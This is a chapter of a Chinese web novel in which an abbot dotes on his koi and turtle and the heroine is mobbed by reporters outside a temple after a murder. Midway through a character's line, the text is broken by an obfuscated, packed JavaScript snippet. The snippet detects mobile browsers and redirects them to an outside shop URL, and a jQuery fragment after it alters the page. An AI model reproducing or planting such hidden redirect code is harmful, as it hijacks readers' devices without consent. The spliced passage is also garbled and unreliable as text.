28. 你是不是有病?

作品:《我只是您妹妹.

    刚才商文载找到他,三言两语说了昨晚老三做的丑事。


    无为道长也知道留这种烂人在道观里不合适,最好是找个借口,体面地把人赶下山,否则要是哪天又骚扰了哪个香客,迟早给他给道观惹出祸来。


    但商文载这尊佛除了找罗盘一事,向来免开尊口的,虽然只说了只言片语,但到底张了嘴不是?


    无为道长脑子里又开始活泛,满门心思想着怎么借由他女朋友的这事,咬下他一块肉来,再给道观捐点香火钱。


    搜肠刮肚半天,终于组织好了语言,正要开口,却被商文载一句话堵回。


    “道长不必在意我那朋友,她安然无恙,大不了今日下山后再不来此地。我只是提醒道长一句,若道长念及师徒之情,执意留他,只恐怕日后惹出祸端,引火烧身呐。”


    商文载说完就大步离开,留下无为道长咬牙切齿。


    “大人往何处去?”


    “日头不早了,我也不多叨扰道长了。”


    不是说的不多叨扰吗,现在不还留在这儿叨扰我?无为道长想到商文载刚才毫不留情地拒绝,看着他的眼色更加不善。


    时扬看这两人氛围不对劲,有心活跃气氛,抬头打量了四周的建筑物,没话找话,“道长,您这道观修得真有古韵。”


    无意间往无为道长心口捅了一刀。


    “唉……”无为道长眼珠子不动,只盯着商文载,阴阳怪气,“您说笑了,古韵哪里是能修出来的?明明是我这道观太破旧,可能哪天再下场暴雨,这清虚观就没咯!”


    时扬不好往下接,想了想,顺嘴道:“我看来这里的香客不少,要真有需要,大家不会坐视不理——”


    “哎,都是些虚有其表的,一个个看着富贵,钱袋子栓得紧,手指缝里挤出来一点儿都不愿意。”无为道长狠狠瞪了一眼倚着柱子、不为所动的商文载。


    时扬这话又往他心口捅一刀。


    作为香客之一的时扬被他的话堵得一句话说不出,她摸了摸鼻子,望着房檐淅淅沥沥的雨滴,干脆闭紧嘴巴。


    谁知道哪句话得罪他了,搞不明白。


    这时,沉默半天的商文载突然出声:“雨小了。”


    他转头看向时扬,却是对无为道长说的,“既然这样,我们早点走吧,就真不再叨扰道长了。”


    说完冲无为道长点了点头,转身往他房间走去。


    时扬被他们两人之间的氛围搞得浑身不自在,一听他的话,哪有留下的道理,赶紧也跟上,留下无为道长在身后接着嘀嘀咕咕。


    “走走走,赶紧走,跟谁打算留你们似的……”


    又一阵风吹过,无为道长右半边身体已经冻僵了,刚才只顾着生气,一点儿没察觉,现在回过神了冻得哆嗦。


    刚要回身,却看到柱子外的石缸上方,不知道什么时候,睡莲的花苞已经微微张开,羞答答露出其中一点点淡黄色的花心。


    无为道长年纪大,忘性也大,极快地忘了没咬下来的“肉”,他嘿嘿一笑,冒着雨丝,趴在石缸旁往里敲。


    水面上方,五六朵半开的睡莲躲在叶片之下避雨,睡莲根部堆着几块重叠在一起的灰黑色石片,一只老龟半缩在龟壳中,挤在两块石片的空隙处,时不时伸出头往天上看。


    水面之下,两条红色的锦鲤转着圈儿游,缠绵悱恻,悠游闲适,自由自在。


    道观里的人都知道,后院石缸里的两条红色锦鲤和一只老龟是道长的命根子。


    那两条锦鲤还好说,毕竟是吉祥之物,那老龟又算什么?


    虽说象征长寿,但它总爱吃睡莲的根子,这些年多少睡莲因为它死了又换,换了又死?


    没人知道,无为道长将这三样东西当做他的护身之物。


    二十多年前,他穿到这世界时,和六百年前一样,还是个道士——还差点是个死道士。


    他睁开眼就觉得喘不过气来,再一吸气,却呛进鼻子一口水,还没反应过来,只觉得左手食指作痛,那痛感惊醒了他。


    无为道长猛地将脑袋从石缸中伸出来,往左手一看,一只老乌龟正咬着他的手指,而水缸中,两只锦鲤并排啄着他仍浮在水面上的一缕头发……


    自那以后,凭借着他那如今已成了悬观道长的师兄,这两条锦鲤和老龟被他要了过来。


    他本来是想连鱼龟带缸一起带来这清虚观的,可石缸不轻,悬观离清虚观也不近,他犹豫半天,实在念念不忘,终于跟他师兄开口要缸。


    换来他那一向温和有礼的师兄一问:“你是不是有病?”


    所以,他只带来了这三样,看得跟宝贝一样。


    “等哪天我有时间了,给你们再换个大一些的缸,给你们多种一些睡莲。”


    话音刚落,睡莲叶上汇聚的雨珠顺着脉络滴入缸中,惊起一圈圈的涟漪,无为道长再凝神一看,缸中的两条锦鲤已经藏入石头中,消失不见。


    -


    时扬担心的事情到底还是发生了。


    她和商文载刚一走出道观,就在门口的台阶上被一群摄像机和麦克风堵住,一个个人头攒动,堵得门口水泄不通。


    警察拉起的警戒线隔开两边的人群,里面是时扬等案件相关者,另一面则是好事之人。


    鼻子灵敏的记者当然是有的,记者围成的圈层外围还汇聚着从山下来的吃瓜群众。


    警察出现得及时,道观里消息封锁得快,惹来这么些人,也怪不上谁——除了那条叼着人肉的野狗。


    要不是它叼着小道士的肉一路下山,又被人看到和其他肉不一样的淡黄色脂肪,也不会招惹这么些“大侦探”一路从道观左侧的羊肠小路上山,并且真让他们找到了死状凄惨的小道士。


    一群“大侦探”比警察还先到达犯罪现场,暴雨后的小路泥泞不堪,一个个鞋印重叠混乱。


    更有几个“大侦探”脚下打滑,踩在湿润的树叶上,一个屁股蹲摔倒在尸体旁边,等到抬手,看到深褐色的血迹混合在污泥里,糊了满手,才后知后觉地尖叫着滚开。


    故而现在犯罪现场的几个警察承受了那条狗的业力,冒着细密的小雨,看着满地狼藉,一个头两个大。


    而另一个承受业力的,则是时扬。


    她尝试了无数次,想挤出人群,赶紧走人,可屡试屡败。正尝试着全新的一次,外圈不知道谁突然往里挤,人群更加混乱。


    “哎哟,谁啊,挤什么挤?”


    “要死的啊!赶着挤进去投胎的?没看到前面有人?”


    “是哪个!就你好奇是吧?是不是你,说话!”


    ……


    时扬被身旁涌动的人潮挤得连连往后退,身体往后跟着倒,肩膀撞上一道人墙,另一边肩膀则被那人抱住,她仰头看,只看到露出口罩的两只眼睛,隐在黑色鸭舌帽下。


    那里面平时是没什么情绪的,这会儿却看着嘈杂混乱的人群,装满了不耐烦。


    商文载没看怀里的时扬,沉声道:“自己站好。”


    “啊?哦。”时扬反应过来,连忙站好退开。


    她扯了扯脸上的口罩,固定好,暗暗告诉自己:下次我也买个帽子。


    正想着,人群不知道为什么安静下来,鸦雀无声。


    这时,一个记者发问:“传言今早死的人是清虚观里的一个香客,是吗?”


    时扬不知道她在问谁,也不知道谁来回答,这时挨着她的一个中年男人接过话头。


    “当然不是了,谁告诉你的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112137|193818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?瞎说!死的人是道观里的小道士,无为道长最小的那个徒弟。”


    男人声音尖利,像是能刺破空气的二胡,精神抖擞,神气十足,像个显摆自己的花孔雀,抱着“必登报道”的决心,高声反驳道。


    时扬紧靠着他,看外围一圈儿的摄像头都堵了过来,慌得忙往后钻,却被一堵堵人墙挡着,寸步难行。


    她只好紧紧捂着口罩,埋头当鸵鸟。


    一个个镜头像是一只只眼睛,贪婪而充满欲望,非要从所及之处扒出点东西来,不论真假,否则绝不可能后退。


    时扬又想到两年前和云帆恋情被暴的场景。


    云帆追她的时候说得坦荡,什么真爱,什么不怕舆论之类,可到了那时候又不敢承认,只带着他心尖尖上的木制片人从剧组离开,留下她走出剧组后独自一人面对一群摄像头的凝视,和一堆娱记不客气的拷问。


    记得那天好像也是下了场暴雨,她走出剧组的时候,暴雨刚停,台阶下积攒了一个直径一米的水洼。


    为了躲避镜头的追捕,她慌不择路往台阶下走,一脚踏进那水洼里,污浊的雨水顷刻间在她米色的长裙上开满黑色的花。


    狼狈,委屈,无处宣泄的怒火……种种情绪压得她喘不过气来,却没有半点法子,被一群陌生人堵着不让走,让她更加无力。


    她想要大喊一声:“我没有炒作!”


    喉头发紧,一个音也发不出来,雨势也捉弄她,一瞬间变大。


    记者们忙打开了雨伞,五颜六色的伞布盖住一个个好奇看笑话的脑袋,只有她孑然一人,立在大雨下,任由雨水浇湿了她的头发,蓬松的头发变成一缕缕,紧紧贴在额头上、脸颊上、耳朵上……


    那天晚上她发了高烧,昏睡过去之前只记得一股力道,那力道将她从台阶上直直拽下来,毫不客气地扔进雨洼里。


    她仰起头,不客气地四顾,想揪出那个混账东西,只看到一张张捂着嘴巴偷笑的脸。


    不会有人承认。


    “请问警察调查进展如何呢?”记者的声音又将时扬的思绪拉回来。


    旁边的中年男人清了清嗓子,接着激情演讲,一圈儿麦克风和摄像头距离他更近了,淋了大半天的雨,只等着即刻就能拿到信息,好回去交差。


    “警察们有他们的调查进度,涉及到受害者利益,也需要照顾受害者家属的情绪,所以你们不该问的不要多问了,到时候查得水落石出,会及时向社会各界公布的!”


    男人言语激昂,中气十足,换来一阵阵的谩骂。


    “切~你谁啊!”那记者觉得晦气,忙不迭收回手中的麦克风。


    “就是,不知道就是不知道,装腔作势什么呢?我的时间不是时间啊,来这儿看你表演的?”


    “浪费我时间嘛这不是,你是不是有病?”人群最末尾,有人极不客气地骂道。


    男人本想露个脸,谁想招来一堆谩骂,这会儿连骂他有毛病的都出来了。


    他气得发抖,哆嗦着手指又不知道声音的来源,只能叉腰站在远处,脸色铁青地跟着骂人:“谁特么骂我了?啊?”


    时扬一直战战兢兢地站在他旁边,他忽的一叉腰,她感到手臂上的力道,而后站不稳地往旁边歪倒,正好被另一边的人堵住。


    好歹没摔,时扬心里暗暗庆幸,惊惶未定的眼睛穿过攒动的人头突然对上一对有点熟悉的眼睛,里面同样盛满了庆幸,甚至还有雀跃……


    她正纳罕,猜不出对方是谁,眼前飞快地略过一道影子,随即右脸上感到火辣辣的痛。


    右侧口罩的带子断开,在她的脸上弹出一道红印子,脸上的白色口罩早已在前一秒钟消失。


    那股拽她的力道……好像又出现了。